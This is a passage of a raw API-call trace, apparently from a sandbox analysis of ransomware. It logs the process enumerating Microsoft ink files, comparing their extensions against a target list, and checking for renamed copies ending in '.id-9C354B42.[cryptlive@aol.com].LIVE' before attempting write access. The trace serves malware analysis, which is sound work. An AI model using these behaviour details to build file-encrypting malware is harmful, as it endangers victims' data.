[0127.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString=".docx") returned 5 [0127.366] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0127.366] lstrlenW (lpString=".pdf") returned 4 [0127.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString=".xls") returned 4 [0127.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString=".xlsx") returned 5 [0127.366] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0127.366] lstrlenW (lpString=".ppt") returned 4 [0127.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.367] lstrlenW (lpString=".zip") returned 4 [0127.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0127.367] lstrlenW (lpString=".rar") returned 4 [0127.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0127.367] lstrlenW (lpString=".bz2") returned 4 [0127.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0127.367] lstrlenW (lpString=".7z") returned 3 [0127.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0127.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.367] lstrlenW (lpString=".dbf") returned 4 [0127.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0127.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.367] lstrlenW (lpString=".1cd") returned 4 [0127.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0127.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.367] lstrlenW (lpString=".jpg") returned 4 [0127.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0127.367] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0127.367] lstrlenW (lpString="boxed-delete.avi") returned 16 [0127.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0129.803] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=31744) returned 1 [0129.803] CloseHandle (hObject=0x300) returned 1 [0129.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0129.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.803] lstrlenW (lpString=".doc") returned 4 [0129.803] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.803] lstrlenW (lpString=".docx") returned 5 [0129.803] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0129.803] lstrlenW (lpString=".pdf") returned 4 [0129.803] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.803] lstrlenW (lpString=".xls") returned 4 [0129.803] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.803] lstrlenW (lpString=".xlsx") returned 5 [0129.803] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0129.803] lstrlenW (lpString=".ppt") returned 4 [0129.803] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.804] lstrlenW (lpString=".zip") returned 4 [0129.804] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString=".rar") returned 4 [0129.804] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString=".bz2") returned 4 [0129.804] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString=".7z") returned 3 [0129.804] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.804] lstrlenW (lpString=".dbf") returned 4 [0129.804] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.804] lstrlenW (lpString=".1cd") returned 4 [0129.804] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.804] lstrlenW (lpString=".jpg") returned 4 [0129.804] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.804] lstrlenW (lpString=".doc") returned 4 [0129.804] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString=".docx") returned 5 [0129.804] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0129.804] lstrlenW (lpString=".pdf") returned 4 [0129.804] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString=".xls") returned 4 [0129.804] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.804] lstrlenW (lpString=".xlsx") returned 5 [0129.804] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0129.804] lstrlenW (lpString=".ppt") returned 4 [0129.805] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.805] lstrlenW (lpString=".zip") returned 4 [0129.805] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.805] lstrlenW (lpString=".rar") returned 4 [0129.805] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.805] lstrlenW (lpString=".bz2") returned 4 [0129.805] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.805] lstrlenW (lpString=".7z") returned 3 [0129.805] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.805] lstrlenW (lpString=".dbf") returned 4 [0129.805] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.805] lstrlenW (lpString=".1cd") returned 4 [0129.805] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0129.805] lstrlenW (lpString=".jpg") returned 4 [0129.805] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.805] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0129.805] lstrlenW (lpString="kor-kor.xml") returned 11 [0129.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0130.149] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=392) returned 1 [0130.149] CloseHandle (hObject=0x2f8) returned 1 [0130.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0130.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.150] lstrlenW (lpString=".doc") returned 4 [0130.150] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.150] lstrlenW (lpString=".docx") returned 5 [0130.150] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0130.150] lstrlenW (lpString=".pdf") returned 4 [0130.150] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.150] lstrlenW (lpString=".xls") returned 4 [0130.150] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.150] lstrlenW (lpString=".xlsx") returned 5 [0130.150] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0130.150] lstrlenW (lpString=".ppt") returned 4 [0130.150] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.150] lstrlenW (lpString=".zip") returned 4 [0130.150] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.150] lstrlenW (lpString=".rar") returned 4 [0130.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString=".bz2") returned 4 [0130.151] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString=".7z") returned 3 [0130.151] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.151] lstrlenW (lpString=".dbf") returned 4 [0130.151] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.151] lstrlenW (lpString=".1cd") returned 4 [0130.151] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.151] lstrlenW (lpString=".jpg") returned 4 [0130.151] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.151] lstrlenW (lpString=".doc") returned 4 [0130.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString=".docx") returned 5 [0130.151] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0130.151] lstrlenW (lpString=".pdf") returned 4 [0130.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString=".xls") returned 4 [0130.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString=".xlsx") returned 5 [0130.151] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0130.151] lstrlenW (lpString=".ppt") returned 4 [0130.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.151] lstrlenW (lpString=".zip") returned 4 [0130.151] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.151] lstrlenW (lpString=".rar") returned 4 [0130.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.151] lstrlenW (lpString=".bz2") returned 4 [0130.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.152] lstrlenW (lpString=".7z") returned 3 [0130.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.152] lstrlenW (lpString=".dbf") returned 4 [0130.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.152] lstrlenW (lpString=".1cd") returned 4 [0130.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0130.152] lstrlenW (lpString=".jpg") returned 4 [0130.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.152] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0130.152] lstrlenW (lpString="base_ca.xml") returned 11 [0130.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.217] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3166) returned 1 [0131.217] CloseHandle (hObject=0x314) returned 1 [0131.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0131.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.264] lstrlenW (lpString=".doc") returned 4 [0131.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString=".docx") returned 5 [0131.265] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.265] lstrlenW (lpString=".pdf") returned 4 [0131.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString=".xls") returned 4 [0131.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString=".xlsx") returned 5 [0131.265] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.265] lstrlenW (lpString=".ppt") returned 4 [0131.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.265] lstrlenW (lpString=".zip") returned 4 [0131.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.265] lstrlenW (lpString=".rar") returned 4 [0131.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString=".bz2") returned 4 [0131.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString=".7z") returned 3 [0131.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.265] lstrlenW (lpString=".dbf") returned 4 [0131.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.265] lstrlenW (lpString=".1cd") returned 4 [0131.265] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.265] lstrlenW (lpString=".jpg") returned 4 [0131.265] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.265] lstrlenW (lpString=".doc") returned 4 [0131.265] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.265] lstrlenW (lpString=".docx") returned 5 [0131.265] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.265] lstrlenW (lpString=".pdf") returned 4 [0131.266] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString=".xls") returned 4 [0131.266] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString=".xlsx") returned 5 [0131.266] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.266] lstrlenW (lpString=".ppt") returned 4 [0131.266] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.266] lstrlenW (lpString=".zip") returned 4 [0131.266] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.266] lstrlenW (lpString=".rar") returned 4 [0131.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString=".bz2") returned 4 [0131.266] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString=".7z") returned 3 [0131.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.266] lstrlenW (lpString=".dbf") returned 4 [0131.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.266] lstrlenW (lpString=".1cd") returned 4 [0131.266] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0131.266] lstrlenW (lpString=".jpg") returned 4 [0131.266] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.266] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.266] lstrlenW (lpString="ipsdeu.xml") returned 10 [0131.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.267] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2616) returned 1 [0131.267] CloseHandle (hObject=0x36c) returned 1 [0131.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0131.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.274] lstrlenW (lpString=".doc") returned 4 [0131.274] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString=".docx") returned 5 [0131.274] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0131.274] lstrlenW (lpString=".pdf") returned 4 [0131.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString=".xls") returned 4 [0131.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString=".xlsx") returned 5 [0131.274] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0131.274] lstrlenW (lpString=".ppt") returned 4 [0131.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.274] lstrlenW (lpString=".zip") returned 4 [0131.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.274] lstrlenW (lpString=".rar") returned 4 [0131.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString=".bz2") returned 4 [0131.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString=".7z") returned 3 [0131.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.274] lstrlenW (lpString=".dbf") returned 4 [0131.274] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.274] lstrlenW (lpString=".1cd") returned 4 [0131.274] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.274] lstrlenW (lpString=".jpg") returned 4 [0131.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.275] lstrlenW (lpString=".doc") returned 4 [0131.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString=".docx") returned 5 [0131.275] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0131.275] lstrlenW (lpString=".pdf") returned 4 [0131.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString=".xls") returned 4 [0131.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString=".xlsx") returned 5 [0131.275] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0131.275] lstrlenW (lpString=".ppt") returned 4 [0131.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.275] lstrlenW (lpString=".zip") returned 4 [0131.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.275] lstrlenW (lpString=".rar") returned 4 [0131.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString=".bz2") returned 4 [0131.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString=".7z") returned 3 [0131.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.275] lstrlenW (lpString=".dbf") returned 4 [0131.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.275] lstrlenW (lpString=".1cd") returned 4 [0131.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0131.275] lstrlenW (lpString=".jpg") returned 4 [0131.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.276] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.276] lstrlenW (lpString="ipsen.xml") returned 9 [0131.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.276] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: 